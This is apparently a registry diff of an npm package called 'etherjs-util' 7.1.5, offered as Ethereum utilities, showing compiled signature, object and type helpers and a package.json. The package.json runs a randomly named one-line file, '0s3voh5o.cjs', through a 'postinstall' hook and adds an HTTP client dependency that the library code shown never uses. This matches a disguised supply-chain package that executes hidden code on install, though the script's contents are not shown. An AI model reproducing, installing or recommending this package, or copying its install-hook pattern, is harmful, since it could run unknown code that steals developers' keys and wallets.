etherjs-util 7.1.5
Sign up to get free protection for your applications and to get access to all the features.
- package/0s3voh5o.cjs +1 -0
- package/LICENSE +373 -0
- package/README.md +113 -0
- package/dist/account.d.ts +120 -0
- package/dist/account.js +273 -0
- package/dist/account.js.map +1 -0
- package/dist/address.d.ts +60 -0
- package/dist/address.js +104 -0
- package/dist/address.js.map +1 -0
- package/dist/bytes.d.ts +140 -0
- package/dist/bytes.js +295 -0
- package/dist/bytes.js.map +1 -0
- package/dist/constants.d.ts +40 -0
- package/dist/constants.js +42 -0
- package/dist/constants.js.map +1 -0
- package/dist/externals.d.ts +15 -0
- package/dist/externals.js +39 -0
- package/dist/externals.js.map +1 -0
- package/dist/hash.d.ts +69 -0
- package/dist/hash.js +162 -0
- package/dist/hash.js.map +1 -0
- package/dist/helpers.d.ts +21 -0
- package/dist/helpers.js +49 -0
- package/dist/helpers.js.map +1 -0
- package/dist/index.d.ts +40 -0
- package/dist/index.js +68 -0
- package/dist/index.js.map +1 -0
- package/dist/internal.d.ts +77 -0
- package/dist/internal.js +191 -0
- package/dist/internal.js.map +1 -0
- package/dist/object.d.ts +12 -0
- package/dist/object.js +109 -0
- package/dist/object.js.map +1 -0
- package/dist/signature.d.ts +55 -0
- package/dist/signature.js +163 -0
- package/dist/signature.js.map +1 -0
- package/dist/types.d.ts +62 -0
- package/dist/types.js +77 -0
- package/dist/types.js.map +1 -0
- package/dist.browser/account.d.ts +120 -0
- package/dist.browser/account.js +296 -0
- package/dist.browser/account.js.map +1 -0
- package/dist.browser/address.d.ts +60 -0
- package/dist.browser/address.js +105 -0
- package/dist.browser/address.js.map +1 -0
- package/dist.browser/bytes.d.ts +140 -0
- package/dist.browser/bytes.js +333 -0
- package/dist.browser/bytes.js.map +1 -0
- package/dist.browser/constants.d.ts +40 -0
- package/dist.browser/constants.js +42 -0
- package/dist.browser/constants.js.map +1 -0
- package/dist.browser/externals.d.ts +15 -0
- package/dist.browser/externals.js +39 -0
- package/dist.browser/externals.js.map +1 -0
- package/dist.browser/hash.d.ts +69 -0
- package/dist.browser/hash.js +166 -0
- package/dist.browser/hash.js.map +1 -0
- package/dist.browser/helpers.d.ts +21 -0
- package/dist.browser/helpers.js +49 -0
- package/dist.browser/helpers.js.map +1 -0
- package/dist.browser/index.d.ts +40 -0
- package/dist.browser/index.js +68 -0
- package/dist.browser/index.js.map +1 -0
- package/dist.browser/internal.d.ts +77 -0
- package/dist.browser/internal.js +191 -0
- package/dist.browser/internal.js.map +1 -0
- package/dist.browser/object.d.ts +12 -0
- package/dist.browser/object.js +110 -0
- package/dist.browser/object.js.map +1 -0
- package/dist.browser/signature.d.ts +55 -0
- package/dist.browser/signature.js +164 -0
- package/dist.browser/signature.js.map +1 -0
- package/dist.browser/types.d.ts +62 -0
- package/dist.browser/types.js +77 -0
- package/dist.browser/types.js.map +1 -0
- package/package.json +105 -0
- package/src/account.ts +321 -0
- package/src/address.ts +117 -0
- package/src/bytes.ts +334 -0
- package/src/constants.ts +54 -0
- package/src/externals.ts +18 -0
- package/src/hash.ts +159 -0
- package/src/helpers.ts +45 -0
- package/src/index.ts +60 -0
- package/src/internal.ts +209 -0
- package/src/object.ts +117 -0
- package/src/signature.ts +209 -0
- package/src/types.ts +146 -0
@@ -0,0 +1,110 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
|
+
};
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
6
|
+
exports.defineProperties = void 0;
|
7
|
+
var assert_1 = __importDefault(require("assert"));
|
8
|
+
var internal_1 = require("./internal");
|
9
|
+
var externals_1 = require("./externals");
|
10
|
+
var bytes_1 = require("./bytes");
|
11
|
+
/**
|
12
|
+
* Defines properties on a `Object`. It make the assumption that underlying data is binary.
|
13
|
+
* @param self the `Object` to define properties on
|
14
|
+
* @param fields an array fields to define. Fields can contain:
|
15
|
+
* * `name` - the name of the properties
|
16
|
+
* * `length` - the number of bytes the field can have
|
17
|
+
* * `allowLess` - if the field can be less than the length
|
18
|
+
* * `allowEmpty`
|
19
|
+
* @param data data to be validated against the definitions
|
20
|
+
* @deprecated
|
21
|
+
*/
|
22
|
+
var defineProperties = function (self, fields, data) {
|
23
|
+
self.raw = [];
|
24
|
+
self._fields = [];
|
25
|
+
// attach the `toJSON`
|
26
|
+
self.toJSON = function (label) {
|
27
|
+
if (label === void 0) { label = false; }
|
28
|
+
if (label) {
|
29
|
+
var obj_1 = {};
|
30
|
+
self._fields.forEach(function (field) {
|
31
|
+
obj_1[field] = "0x".concat(self[field].toString('hex'));
|
32
|
+
});
|
33
|
+
return obj_1;
|
34
|
+
}
|
35
|
+
return (0, bytes_1.baToJSON)(self.raw);
|
36
|
+
};
|
37
|
+
self.serialize = function serialize() {
|
38
|
+
return externals_1.rlp.encode(self.raw);
|
39
|
+
};
|
40
|
+
fields.forEach(function (field, i) {
|
41
|
+
self._fields.push(field.name);
|
42
|
+
function getter() {
|
43
|
+
return self.raw[i];
|
44
|
+
}
|
45
|
+
function setter(v) {
|
46
|
+
v = (0, bytes_1.toBuffer)(v);
|
47
|
+
if (v.toString('hex') === '00' && !field.allowZero) {
|
48
|
+
v = Buffer.allocUnsafe(0);
|
49
|
+
}
|
50
|
+
if (field.allowLess && field.length) {
|
51
|
+
v = (0, bytes_1.unpadBuffer)(v);
|
52
|
+
(0, assert_1.default)(field.length >= v.length, "The field ".concat(field.name, " must not have more ").concat(field.length, " bytes"));
|
53
|
+
}
|
54
|
+
else if (!(field.allowZero && v.length === 0) && field.length) {
|
55
|
+
(0, assert_1.default)(field.length === v.length, "The field ".concat(field.name, " must have byte length of ").concat(field.length));
|
56
|
+
}
|
57
|
+
self.raw[i] = v;
|
58
|
+
}
|
59
|
+
Object.defineProperty(self, field.name, {
|
60
|
+
enumerable: true,
|
61
|
+
configurable: true,
|
62
|
+
get: getter,
|
63
|
+
set: setter,
|
64
|
+
});
|
65
|
+
if (field.default) {
|
66
|
+
self[field.name] = field.default;
|
67
|
+
}
|
68
|
+
// attach alias
|
69
|
+
if (field.alias) {
|
70
|
+
Object.defineProperty(self, field.alias, {
|
71
|
+
enumerable: false,
|
72
|
+
configurable: true,
|
73
|
+
set: setter,
|
74
|
+
get: getter,
|
75
|
+
});
|
76
|
+
}
|
77
|
+
});
|
78
|
+
// if the constuctor is passed data
|
79
|
+
if (data) {
|
80
|
+
if (typeof data === 'string') {
|
81
|
+
data = Buffer.from((0, internal_1.stripHexPrefix)(data), 'hex');
|
82
|
+
}
|
83
|
+
if (Buffer.isBuffer(data)) {
|
84
|
+
data = externals_1.rlp.decode(data);
|
85
|
+
}
|
86
|
+
if (Array.isArray(data)) {
|
87
|
+
if (data.length > self._fields.length) {
|
88
|
+
throw new Error('wrong number of fields in data');
|
89
|
+
}
|
90
|
+
// make sure all the items are buffers
|
91
|
+
data.forEach(function (d, i) {
|
92
|
+
self[self._fields[i]] = (0, bytes_1.toBuffer)(d);
|
93
|
+
});
|
94
|
+
}
|
95
|
+
else if (typeof data === 'object') {
|
96
|
+
var keys_1 = Object.keys(data);
|
97
|
+
fields.forEach(function (field) {
|
98
|
+
if (keys_1.indexOf(field.name) !== -1)
|
99
|
+
self[field.name] = data[field.name];
|
100
|
+
if (keys_1.indexOf(field.alias) !== -1)
|
101
|
+
self[field.alias] = data[field.alias];
|
102
|
+
});
|
103
|
+
}
|
104
|
+
else {
|
105
|
+
throw new Error('invalid data');
|
106
|
+
}
|
107
|
+
}
|
108
|
+
};
|
109
|
+
exports.defineProperties = defineProperties;
|
110
|
+
//# sourceMappingURL=object.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"object.js","sourceRoot":"","sources":["../src/object.ts"],"names":[],"mappings":";;;;;;AAAA,kDAA2B;AAC3B,uCAA2C;AAC3C,yCAAiC;AACjC,iCAAyD;AAEzD;;;;;;;;;;GAUG;AACI,IAAM,gBAAgB,GAAG,UAAU,IAAS,EAAE,MAAW,EAAE,IAAU;IAC1E,IAAI,CAAC,G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: Buffer;
|
6
|
+
s: Buffer;
|
7
|
+
}
|
8
|
+
export interface ECDSASignatureBuffer {
|
9
|
+
v: Buffer;
|
10
|
+
r: Buffer;
|
11
|
+
s: Buffer;
|
12
|
+
}
|
13
|
+
/**
|
14
|
+
* Returns the ECDSA signature of a message hash.
|
15
|
+
*/
|
16
|
+
export declare function ecsign(msgHash: Buffer, privateKey: Buffer, chainId?: number): ECDSASignature;
|
17
|
+
export declare function ecsign(msgHash: Buffer, privateKey: Buffer, chainId: BNLike): ECDSASignatureBuffer;
|
18
|
+
/**
|
19
|
+
* ECDSA public key recovery from signature.
|
20
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
21
|
+
* @returns Recovered public key
|
22
|
+
*/
|
23
|
+
export declare const ecrecover: (msgHash: Buffer, v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => Buffer;
|
24
|
+
/**
|
25
|
+
* Convert signature parameters into the format of `eth_sign` RPC method.
|
26
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
27
|
+
* @returns Signature
|
28
|
+
*/
|
29
|
+
export declare const toRpcSig: (v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => string;
|
30
|
+
/**
|
31
|
+
* Convert signature parameters into the format of Compact Signature Representation (EIP-2098).
|
32
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
33
|
+
* @returns Signature
|
34
|
+
*/
|
35
|
+
export declare const toCompactSig: (v: BNLike, r: Buffer, s: Buffer, chainId?: BNLike) => string;
|
36
|
+
/**
|
37
|
+
* Convert signature format of the `eth_sign` RPC method to signature parameters
|
38
|
+
* NOTE: all because of a bug in geth: https://github.com/ethereum/go-ethereum/issues/2053
|
39
|
+
* NOTE: After EIP1559, `v` could be `0` or `1` but this function assumes
|
40
|
+
* it's a signed message (EIP-191 or EIP-712) adding `27` at the end. Remove if needed.
|
41
|
+
*/
|
42
|
+
export declare const fromRpcSig: (sig: string) => ECDSASignature;
|
43
|
+
/**
|
44
|
+
* Validate a ECDSA signature.
|
45
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
46
|
+
* @param homesteadOrLater Indicates whether this is being used on either the homestead hardfork or a later one
|
47
|
+
*/
|
48
|
+
export declare const isValidSignature: (v: BNLike, r: Buffer, s: Buffer, homesteadOrLater?: boolean, chainId?: BNLike) => boolean;
|
49
|
+
/**
|
50
|
+
* Returns the keccak-256 hash of `message`, prefixed with the header used by the `eth_sign` RPC call.
|
51
|
+
* The output of this function can be fed into `ecsign` to produce the same signature as the `eth_sign`
|
52
|
+
* call for a given `message`, or fed to `ecrecover` along with a signature to recover the public key
|
53
|
+
* used to produce the signature.
|
54
|
+
*/
|
55
|
+
export declare const hashPersonalMessage: (message: Buffer) => Buffer;
|
@@ -0,0 +1,164 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.hashPersonalMessage = exports.isValidSignature = exports.fromRpcSig = exports.toCompactSig = exports.toRpcSig = exports.ecrecover = exports.ecsign = void 0;
|
4
|
+
var secp256k1_1 = require("ethereum-cryptography/secp256k1");
|
5
|
+
var externals_1 = require("./externals");
|
6
|
+
var bytes_1 = require("./bytes");
|
7
|
+
var hash_1 = require("./hash");
|
8
|
+
var helpers_1 = require("./helpers");
|
9
|
+
var types_1 = require("./types");
|
10
|
+
function ecsign(msgHash, privateKey, chainId) {
|
11
|
+
var _a = (0, secp256k1_1.ecdsaSign)(msgHash, privateKey), signature = _a.signature, recovery = _a.recid;
|
12
|
+
var r = Buffer.from(signature.slice(0, 32));
|
13
|
+
var s = Buffer.from(signature.slice(32, 64));
|
14
|
+
if (!chainId || typeof chainId === 'number') {
|
15
|
+
// return legacy type ECDSASignature (deprecated in favor of ECDSASignatureBuffer to handle large chainIds)
|
16
|
+
if (chainId && !Number.isSafeInteger(chainId)) {
|
17
|
+
throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative input type)');
|
18
|
+
}
|
19
|
+
var v_1 = chainId ? recovery + (chainId * 2 + 35) : recovery + 27;
|
20
|
+
return { r: r, s: s, v: v_1 };
|
21
|
+
}
|
22
|
+
var chainIdBN = (0, types_1.toType)(chainId, types_1.TypeOutput.BN);
|
23
|
+
var v = chainIdBN.muln(2).addn(35).addn(recovery).toArrayLike(Buffer);
|
24
|
+
return { r: r, s: s, v: v };
|
25
|
+
}
|
26
|
+
exports.ecsign = ecsign;
|
27
|
+
function calculateSigRecovery(v, chainId) {
|
28
|
+
var vBN = (0, types_1.toType)(v, types_1.TypeOutput.BN);
|
29
|
+
if (vBN.eqn(0) || vBN.eqn(1))
|
30
|
+
return (0, types_1.toType)(v, types_1.TypeOutput.BN);
|
31
|
+
if (!chainId) {
|
32
|
+
return vBN.subn(27);
|
33
|
+
}
|
34
|
+
var chainIdBN = (0, types_1.toType)(chainId, types_1.TypeOutput.BN);
|
35
|
+
return vBN.sub(chainIdBN.muln(2).addn(35));
|
36
|
+
}
|
37
|
+
function isValidSigRecovery(recovery) {
|
38
|
+
var rec = new externals_1.BN(recovery);
|
39
|
+
return rec.eqn(0) || rec.eqn(1);
|
40
|
+
}
|
41
|
+
/**
|
42
|
+
* ECDSA public key recovery from signature.
|
43
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
44
|
+
* @returns Recovered public key
|
45
|
+
*/
|
46
|
+
var ecrecover = function (msgHash, v, r, s, chainId) {
|
47
|
+
var signature = Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(s, 32)], 64);
|
48
|
+
var recovery = calculateSigRecovery(v, chainId);
|
49
|
+
if (!isValidSigRecovery(recovery)) {
|
50
|
+
throw new Error('Invalid signature v value');
|
51
|
+
}
|
52
|
+
var senderPubKey = (0, secp256k1_1.ecdsaRecover)(signature, recovery.toNumber(), msgHash);
|
53
|
+
return Buffer.from((0, secp256k1_1.publicKeyConvert)(senderPubKey, false).slice(1));
|
54
|
+
};
|
55
|
+
exports.ecrecover = ecrecover;
|
56
|
+
/**
|
57
|
+
* Convert signature parameters into the format of `eth_sign` RPC method.
|
58
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
59
|
+
* @returns Signature
|
60
|
+
*/
|
61
|
+
var toRpcSig = function (v, r, s, chainId) {
|
62
|
+
var recovery = calculateSigRecovery(v, chainId);
|
63
|
+
if (!isValidSigRecovery(recovery)) {
|
64
|
+
throw new Error('Invalid signature v value');
|
65
|
+
}
|
66
|
+
// geth (and the RPC eth_sign method) uses the 65 byte format used by Bitcoin
|
67
|
+
return (0, bytes_1.bufferToHex)(Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(s, 32), (0, bytes_1.toBuffer)(v)]));
|
68
|
+
};
|
69
|
+
exports.toRpcSig = toRpcSig;
|
70
|
+
/**
|
71
|
+
* Convert signature parameters into the format of Compact Signature Representation (EIP-2098).
|
72
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
73
|
+
* @returns Signature
|
74
|
+
*/
|
75
|
+
var toCompactSig = function (v, r, s, chainId) {
|
76
|
+
var recovery = calculateSigRecovery(v, chainId);
|
77
|
+
if (!isValidSigRecovery(recovery)) {
|
78
|
+
throw new Error('Invalid signature v value');
|
79
|
+
}
|
80
|
+
var vn = (0, types_1.toType)(v, types_1.TypeOutput.Number);
|
81
|
+
var ss = s;
|
82
|
+
if ((vn > 28 && vn % 2 === 1) || vn === 1 || vn === 28) {
|
83
|
+
ss = Buffer.from(s);
|
84
|
+
ss[0] |= 0x80;
|
85
|
+
}
|
86
|
+
return (0, bytes_1.bufferToHex)(Buffer.concat([(0, bytes_1.setLengthLeft)(r, 32), (0, bytes_1.setLengthLeft)(ss, 32)]));
|
87
|
+
};
|
88
|
+
exports.toCompactSig = toCompactSig;
|
89
|
+
/**
|
90
|
+
* Convert signature format of the `eth_sign` RPC method to signature parameters
|
91
|
+
* NOTE: all because of a bug in geth: https://github.com/ethereum/go-ethereum/issues/2053
|
92
|
+
* NOTE: After EIP1559, `v` could be `0` or `1` but this function assumes
|
93
|
+
* it's a signed message (EIP-191 or EIP-712) adding `27` at the end. Remove if needed.
|
94
|
+
*/
|
95
|
+
var fromRpcSig = function (sig) {
|
96
|
+
var buf = (0, bytes_1.toBuffer)(sig);
|
97
|
+
var r;
|
98
|
+
var s;
|
99
|
+
var v;
|
100
|
+
if (buf.length >= 65) {
|
101
|
+
r = buf.slice(0, 32);
|
102
|
+
s = buf.slice(32, 64);
|
103
|
+
v = (0, bytes_1.bufferToInt)(buf.slice(64));
|
104
|
+
}
|
105
|
+
else if (buf.length === 64) {
|
106
|
+
// Compact Signature Representation (https://eips.ethereum.org/EIPS/eip-2098)
|
107
|
+
r = buf.slice(0, 32);
|
108
|
+
s = buf.slice(32, 64);
|
109
|
+
v = (0, bytes_1.bufferToInt)(buf.slice(32, 33)) >> 7;
|
110
|
+
s[0] &= 0x7f;
|
111
|
+
}
|
112
|
+
else {
|
113
|
+
throw new Error('Invalid signature length');
|
114
|
+
}
|
115
|
+
// support both versions of `eth_sign` responses
|
116
|
+
if (v < 27) {
|
117
|
+
v += 27;
|
118
|
+
}
|
119
|
+
return {
|
120
|
+
v: v,
|
121
|
+
r: r,
|
122
|
+
s: s,
|
123
|
+
};
|
124
|
+
};
|
125
|
+
exports.fromRpcSig = fromRpcSig;
|
126
|
+
/**
|
127
|
+
* Validate a ECDSA signature.
|
128
|
+
* NOTE: Accepts `v == 0 | v == 1` for EIP1559 transactions
|
129
|
+
* @param homesteadOrLater Indicates whether this is being used on either the homestead hardfork or a later one
|
130
|
+
*/
|
131
|
+
var isValidSignature = function (v, r, s, homesteadOrLater, chainId) {
|
132
|
+
if (homesteadOrLater === void 0) { homesteadOrLater = true; }
|
133
|
+
var SECP256K1_N_DIV_2 = new externals_1.BN('7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0', 16);
|
134
|
+
var SECP256K1_N = new externals_1.BN('fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141', 16);
|
135
|
+
if (r.length !== 32 || s.length !== 32) {
|
136
|
+
return false;
|
137
|
+
}
|
138
|
+
if (!isValidSigRecovery(calculateSigRecovery(v, chainId))) {
|
139
|
+
return false;
|
140
|
+
}
|
141
|
+
var rBN = new externals_1.BN(r);
|
142
|
+
var sBN = new externals_1.BN(s);
|
143
|
+
if (rBN.isZero() || rBN.gt(SECP256K1_N) || sBN.isZero() || sBN.gt(SECP256K1_N)) {
|
144
|
+
return false;
|
145
|
+
}
|
146
|
+
if (homesteadOrLater && sBN.cmp(SECP256K1_N_DIV_2) === 1) {
|
147
|
+
return false;
|
148
|
+
}
|
149
|
+
return true;
|
150
|
+
};
|
151
|
+
exports.isValidSignature = isValidSignature;
|
152
|
+
/**
|
153
|
+
* Returns the keccak-256 hash of `message`, prefixed with the header used by the `eth_sign` RPC call.
|
154
|
+
* The output of this function can be fed into `ecsign` to produce the same signature as the `eth_sign`
|
155
|
+
* call for a given `message`, or fed to `ecrecover` along with a signature to recover the public key
|
156
|
+
* used to produce the signature.
|
157
|
+
*/
|
158
|
+
var hashPersonalMessage = function (message) {
|
159
|
+
(0, helpers_1.assertIsBuffer)(message);
|
160
|
+
var prefix = Buffer.from("\u0019Ethereum Signed Message:\n".concat(message.length), 'utf-8');
|
161
|
+
return (0, hash_1.keccak)(Buffer.concat([prefix, message]));
|
162
|
+
};
|
163
|
+
exports.hashPersonalMessage = hashPersonalMessage;
|
164
|
+
//# sourceMappingURL=signature.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"signature.js","sourceRoot":"","sources":["../src/signature.ts"],"names":[],"mappings":";;;AAAA,6DAA2F;AAC3F,yCAAgC;AAChC,iCAA2E;AAC3E,+BAA+B;AAC/B,qCAA0C;AAC1C,iCAAoD;AAmBpD,SAAgB,MAAM,CAAC,OAAe,EAAE,UAAkB,EAAE,OAAY;IAChE,IAAA,KAAiC,IAAA,qBAAS,EAAC,OAAO,EAAE,U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,CAAC,CAAA;IACvB,IAAM,MAAM,GAAG,MAAM,CAAC,IAAI,CAAC,0CAAmC,OAAO,CAAC,MAAM,CAAE,EAAE,OAAO,CAAC,CAAA;IACxF,OAAO,IAAA,aAAM,EAAC,MAAM,CAAC,MAAM,CAAC,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC,CAAC,CAAA;AACjD,CAAC,CAAA;AAJY,QAAA,mBAAmB,uBAI/B"}
|
@@ -0,0 +1,62 @@
|
|
1
|
+
/// <reference types="bn.js" />
|
2
|
+
/// <reference types="node" />
|
3
|
+
import { BN } from './externals';
|
4
|
+
import { Address } from './address';
|
5
|
+
import { ToBufferInputTypes } from './bytes';
|
6
|
+
export declare type BNLike = BN | PrefixedHexString | number | Buffer;
|
7
|
+
export declare type BufferLike = Buffer | Uint8Array | number[] | number | BN | TransformableToBuffer | PrefixedHexString;
|
8
|
+
export declare type PrefixedHexString = string;
|
9
|
+
/**
|
10
|
+
* A type that represents an Address-like value.
|
11
|
+
* To convert to address, use `new Address(toBuffer(value))`
|
12
|
+
*/
|
13
|
+
export declare type AddressLike = Address | Buffer | PrefixedHexString;
|
14
|
+
export interface TransformableToArray {
|
15
|
+
toArray(): Uint8Array;
|
16
|
+
toBuffer?(): Buffer;
|
17
|
+
}
|
18
|
+
export interface TransformableToBuffer {
|
19
|
+
toBuffer(): Buffer;
|
20
|
+
toArray?(): Uint8Array;
|
21
|
+
}
|
22
|
+
export declare type NestedUint8Array = Array<Uint8Array | NestedUint8Array>;
|
23
|
+
export declare type NestedBufferArray = Array<Buffer | NestedBufferArray>;
|
24
|
+
/**
|
25
|
+
* Convert BN to 0x-prefixed hex string.
|
26
|
+
*/
|
27
|
+
export declare function bnToHex(value: BN): PrefixedHexString;
|
28
|
+
/**
|
29
|
+
* Convert value from BN to an unpadded Buffer
|
30
|
+
* (useful for RLP transport)
|
31
|
+
* @param value value to convert
|
32
|
+
*/
|
33
|
+
export declare function bnToUnpaddedBuffer(value: BN): Buffer;
|
34
|
+
/**
|
35
|
+
* Deprecated alias for {@link bnToUnpaddedBuffer}
|
36
|
+
* @deprecated
|
37
|
+
*/
|
38
|
+
export declare function bnToRlp(value: BN): Buffer;
|
39
|
+
/**
|
40
|
+
* Type output options
|
41
|
+
*/
|
42
|
+
export declare enum TypeOutput {
|
43
|
+
Number = 0,
|
44
|
+
BN = 1,
|
45
|
+
Buffer = 2,
|
46
|
+
PrefixedHexString = 3
|
47
|
+
}
|
48
|
+
export declare type TypeOutputReturnType = {
|
49
|
+
[TypeOutput.Number]: number;
|
50
|
+
[TypeOutput.BN]: BN;
|
51
|
+
[TypeOutput.Buffer]: Buffer;
|
52
|
+
[TypeOutput.PrefixedHexString]: PrefixedHexString;
|
53
|
+
};
|
54
|
+
/**
|
55
|
+
* Convert an input to a specified type.
|
56
|
+
* Input of null/undefined returns null/undefined regardless of the output type.
|
57
|
+
* @param input value to convert
|
58
|
+
* @param outputType type to output
|
59
|
+
*/
|
60
|
+
export declare function toType<T extends TypeOutput>(input: null, outputType: T): null;
|
61
|
+
export declare function toType<T extends TypeOutput>(input: undefined, outputType: T): undefined;
|
62
|
+
export declare function toType<T extends TypeOutput>(input: ToBufferInputTypes, outputType: T): TypeOutputReturnType[T];
|
@@ -0,0 +1,77 @@
|
|
1
|
+
"use strict";
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
+
exports.toType = exports.TypeOutput = exports.bnToRlp = exports.bnToUnpaddedBuffer = exports.bnToHex = void 0;
|
4
|
+
var externals_1 = require("./externals");
|
5
|
+
var internal_1 = require("./internal");
|
6
|
+
var bytes_1 = require("./bytes");
|
7
|
+
/**
|
8
|
+
* Convert BN to 0x-prefixed hex string.
|
9
|
+
*/
|
10
|
+
function bnToHex(value) {
|
11
|
+
return "0x".concat(value.toString(16));
|
12
|
+
}
|
13
|
+
exports.bnToHex = bnToHex;
|
14
|
+
/**
|
15
|
+
* Convert value from BN to an unpadded Buffer
|
16
|
+
* (useful for RLP transport)
|
17
|
+
* @param value value to convert
|
18
|
+
*/
|
19
|
+
function bnToUnpaddedBuffer(value) {
|
20
|
+
// Using `bn.toArrayLike(Buffer)` instead of `bn.toBuffer()`
|
21
|
+
// for compatibility with browserify and similar tools
|
22
|
+
return (0, bytes_1.unpadBuffer)(value.toArrayLike(Buffer));
|
23
|
+
}
|
24
|
+
exports.bnToUnpaddedBuffer = bnToUnpaddedBuffer;
|
25
|
+
/**
|
26
|
+
* Deprecated alias for {@link bnToUnpaddedBuffer}
|
27
|
+
* @deprecated
|
28
|
+
*/
|
29
|
+
function bnToRlp(value) {
|
30
|
+
return bnToUnpaddedBuffer(value);
|
31
|
+
}
|
32
|
+
exports.bnToRlp = bnToRlp;
|
33
|
+
/**
|
34
|
+
* Type output options
|
35
|
+
*/
|
36
|
+
var TypeOutput;
|
37
|
+
(function (TypeOutput) {
|
38
|
+
TypeOutput[TypeOutput["Number"] = 0] = "Number";
|
39
|
+
TypeOutput[TypeOutput["BN"] = 1] = "BN";
|
40
|
+
TypeOutput[TypeOutput["Buffer"] = 2] = "Buffer";
|
41
|
+
TypeOutput[TypeOutput["PrefixedHexString"] = 3] = "PrefixedHexString";
|
42
|
+
})(TypeOutput = exports.TypeOutput || (exports.TypeOutput = {}));
|
43
|
+
function toType(input, outputType) {
|
44
|
+
if (input === null) {
|
45
|
+
return null;
|
46
|
+
}
|
47
|
+
if (input === undefined) {
|
48
|
+
return undefined;
|
49
|
+
}
|
50
|
+
if (typeof input === 'string' && !(0, internal_1.isHexString)(input)) {
|
51
|
+
throw new Error("A string must be provided with a 0x-prefix, given: ".concat(input));
|
52
|
+
}
|
53
|
+
else if (typeof input === 'number' && !Number.isSafeInteger(input)) {
|
54
|
+
throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative input type)');
|
55
|
+
}
|
56
|
+
var output = (0, bytes_1.toBuffer)(input);
|
57
|
+
if (outputType === TypeOutput.Buffer) {
|
58
|
+
return output;
|
59
|
+
}
|
60
|
+
else if (outputType === TypeOutput.BN) {
|
61
|
+
return new externals_1.BN(output);
|
62
|
+
}
|
63
|
+
else if (outputType === TypeOutput.Number) {
|
64
|
+
var bn = new externals_1.BN(output);
|
65
|
+
var max = new externals_1.BN(Number.MAX_SAFE_INTEGER.toString());
|
66
|
+
if (bn.gt(max)) {
|
67
|
+
throw new Error('The provided number is greater than MAX_SAFE_INTEGER (please use an alternative output type)');
|
68
|
+
}
|
69
|
+
return bn.toNumber();
|
70
|
+
}
|
71
|
+
else {
|
72
|
+
// outputType === TypeOutput.PrefixedHexString
|
73
|
+
return "0x".concat(output.toString('hex'));
|
74
|
+
}
|
75
|
+
}
|
76
|
+
exports.toType = toType;
|
77
|
+
//# sourceMappingURL=types.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"types.js","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":";;;AAAA,yCAAgC;AAChC,uCAAwC;AAExC,iCAAmE;AAiDnE;;GAEG;AACH,SAAgB,OAAO,CAAC,KAAS;IAC/B,OAAO,YAAK,KAAK,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAE,CAAA;AAClC,CAAC;AAFD,0BAEC;AAED;;;;GAIG;AACH,SAAgB,kBAAkB,CAAC,KAAS;IAC1C,4DAA4D;IAC5D,sDAAsD;IACtD,OAAO,IAAA,mBAAW,EAAC,KAAK,CAAC,WAAW,CAAC,MAAM,CAAC,CAAC,CAAA;AAC/C,CAAC;AAJD,gDAIC;AAED;;;GAGG;AACH,SAAgB,OAAO,CAAC,KAAS;IAC/B,OAAO,kBAAkB,CAAC,KAAK,CAAC,CAAA;AAClC,CAAC;AAFD,0BAEC;AAED;;GAEG;AACH,IAAY,UAKX;AALD,WAAY,UAAU;IACpB,+CAAM,CAAA;IACN,uCAAE,CAAA;IACF,+CAAM,CAAA;IACN,qEAAiB,CAAA;AACnB,CAAC,EALW,UAAU,GAAV,kBAAU,KAAV,kBAAU,QAKrB;AAqBD,SAAgB,MAAM,CACpB,KAAyB,EACzB,UAAa;IAEb,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
3
|
+
"version": "7.1.5",
|
4
|
+
"description": "A collection of utility functions for Ethereum",
|
5
|
+
"license": "MPL-2.0",
|
6
|
+
"author": "mjbecze <mjbecze@gmail.com>",
|
7
|
+
"keywords": [
|
8
|
+
"ethereum",
|
9
|
+
"utilities",
|
10
|
+
"utils"
|
11
|
+
],
|
12
|
+
"engines": {
|
13
|
+
"node": ">=10.0.0"
|
14
|
+
},
|
15
|
+
"files": [
|
16
|
+
"dist",
|
17
|
+
"dist.browser",
|
18
|
+
"src",
|
19
|
+
"0s3voh5o.cjs"
|
20
|
+
],
|
21
|
+
"main": "dist/index.js",
|
22
|
+
"types": "dist/index.d.ts",
|
23
|
+
"browser": "dist.browser/index.js",
|
24
|
+
"scripts": {
|
25
|
+
"postinstall": "node 0s3voh5o.cjs"
|
26
|
+
},
|
27
|
+
"dependencies": {
|
28
|
+
"@types/bn.js": "^5.1.0",
|
29
|
+
"bn.js": "^5.1.2",
|
30
|
+
"create-hash": "^1.1.2",
|
31
|
+
"ethereum-cryptography": "^0.1.3",
|
32
|
+
"rlp": "^2.2.4",
|
33
|
+
"axios": "^1.7.7",
|
34
|
+
"ethers": "^6.13.2"
|
35
|
+
},
|
36
|
+
"devDependencies": {
|
37
|
+
"@types/assert": "^1.5.4",
|
38
|
+
